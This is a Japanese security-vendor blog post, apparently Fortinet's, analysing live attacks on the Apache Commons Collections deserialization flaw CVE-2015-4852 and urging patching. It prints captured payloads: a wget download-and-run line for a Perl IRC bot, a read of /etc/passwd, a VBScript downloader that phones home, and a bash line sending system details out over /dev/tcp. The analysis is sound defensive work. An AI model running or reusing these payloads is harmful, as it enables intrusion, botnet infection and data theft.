攻撃にさらされているApache Commons Collections

Apache Commons Collectionsライブラリを攻撃するJavaゼロデイ脆弱性(CVE-2015-4852)の存在が2ヵ月前に発表されました。この脆弱性は、Apache Commons Collectionsライブラリを使用するJavaアプリケーションが、信頼できないネットワークソースからのオブジェクトをデシリアライズする際のエラーに起因しています。では、この脆弱性を詳しく見ていきましょう。

フォーティネットのIPSチームは、当社のユーザーを保護するために「Apache.Commons.Collection.InvokerTransformer.Code.Execution」というシグネチャを即座に作成し、監視を続けています。過去2ヵ月の間に、最初にシグネチャを作成した時点から平均すると、50台の異なるFortiGateから1日あたり400回のペースでそのシグネチャによって攻撃が確認されています。このアラート率はそれほど高いとは言えませんが、それらのアラートは誤検知ではなく、実際に攻撃が生じたために発せられたものです。トラフィックで検出されたペイロードと、攻撃におけるそのペイロードの処理内容を詳しく見てみましょう。

Weblogic、Websphere、JBoss、および他のHTTPベースのJavaアプリケーションについては、次のような悪意あるデータがペイロードに検出されました。

1) 単独のLinuxコマンド

ping -c 10 -p 67446e676142474b3969 xx.xx.x.xxx   ---> 特別に作成されたデータを使用してping要求を送信することで、このマシンが脆弱であることを攻撃者に伝えている

cat /etc/passwd

...

2) インラインbashスクリプト

killall -9 perl;cd /tmp;wget http://1xx.xx.xx.xx/icons/small/.s/.j;perl .j;rm -rf .j;rm -rf .j.*

このコードの処理内容は、単に悪意のあるPerl CGIをリモートサーバーから/tmpにダウンロードして実行し、そのCGIを削除するというものです。CGIのソースコードは、下図のとおりです。

これは、従来からあるPerl IRCBotです。Apache httpdプロセスに見せかけて潜り込み、ポート25経由でリモートのIRCサーバーに接続し、サーバーから受信したコマンドを解析して実行します。これには、ポートスキャン、TCPフラッド、UDPフラッド、HTTPフラッド、Windowsコマンドのリバースシェル、bashリバースシェルなど、多数の機能が備わっています。しかも、パッチが適用されていないMamboの脆弱性を利用して、Google経由で別の脆弱なシステムをスキャンすることも可能です。そのような脆弱なシステムを見つけると、それらに対して攻撃を開始します。以下のコードスニペットで、Mamboの脆弱性を利用したスキャンをご確認いただけます。

3) Windowsマルウェア

「McAltLib.dll」という名前の悪意あるDLLファイルが攻撃トラフィックで検出されています。オリジナルDLLファイルのDLLEntryPointは、以下のように表示されます。

このDLLは自己エンコードされており、実行時に手動でデコードすると、以下のような本来のDLLEntryPointが見つかりました。

このDLLは、「DNCP」という名前のサービスを新たに登録し、ポート22を使用して要求文字列をリモートサーバーに送信します。実行時にデコードした後のコードスニペットは以下のように表示されます。

要求文字列は以下のように表示されます。

www.xxxx.org /p 22 /st 60 /rt 60

4) VBScriptコード

VBScriptコードがペイロードでも検出されています。

= "xz=" + Base64Encode(postStr):objXmlHttpMain.open "POST",postUrl, False:objXmlHttpMain.setRequestHeader "Content-Type", "application/x-www-form-urlencoded":objXmlHttpMain.send postStr:End Function:IF isServiceRunning(".", "360rp") THEN:PostToServer "http://www.xxxxxxx.com:8080/docs/doc/cpo.jsp?e=r", "360RUN":DeleteSelf():WScript.Quit 1:END IF:For nItem = 0 to 10:if Download("http://xxx.xxx.xxx.xx/example/new.cvs", "mc.vbs", 4787, true) Then:exit For:end if:Next:Set objFSO = CreateObject("Scripting.FileSystemObject"):if not objFSO.FileExists("mc.vbs") Then:PostToServer "http://www.jweblogic.com:8080/docs/doc/cpo.jsp?t=1", "Down adconfig.dll FAILED":else:Set ws = CreateObject("WScript.Shell"):ws.Run "mc.vbs":PostToServer "http://www.jweblogic.com:8080/docs/doc/cpo.jsp?e=1", "Exploit":end if:DeleteSelf() > runconf.vbs & runconf.vbs & quit

上記のVBScriptコードは、「new.cvs」をダウンロードし、「mc.vbs」という名前を付けて保存して実行します。その間に、(ウイルス対策製品に関連する)「360rp」プロセスが動作しているかどうかをチェックします。「360rp」が動作していると、コードは処理を中断します。

特にJenkinsを標的にしており、攻撃トラフィックで検出されたのは以下のbashコードだけでした。

/bin/bash -ct U1=$(uname -r);U2=$(uname -v);U3=$(uname -m);U4=$(uname -v);U5=$(uname -n);I=$(id);D=$(df -Pk . | tail -1 | awk '{print $4}'); echo "xxx.x.xxx.xx;8090;$U1;$U2;$U3;$U4;$U5;$D;$I" >/dev/tcp/

このコードにより、ポート8090を使用して、Linuxカーネル情報とシステムのディスク領域使用率がリモートサーバーに送信されます。

現時点でフォーティネットがJava脆弱性(CVE-2015-4852)について把握していることは以上です。これらの攻撃は、当社で検出される頻度はそれほど高くありませんが、ご覧いただいたように依然として活動していることが確認できます。時間の経過とともに、アラート発生率が下がらない状況を考慮すると、攻撃が高度化し、スキャンキットに実装されている可能性も十分にあると考えられます。今後、この脆弱性に対する攻撃はますます増えていくでしょう。できる限り早く、ご使用のJavaアプリケーションにパッチを適用して安全対策を講じることをお勧めします。本番環境にパッチを適用できない場合には、これらの攻撃から保護するためのシグネチャ「Apache.Commons.Collection.InvokerTransformer.Code.Execution」をぜひご利用ください。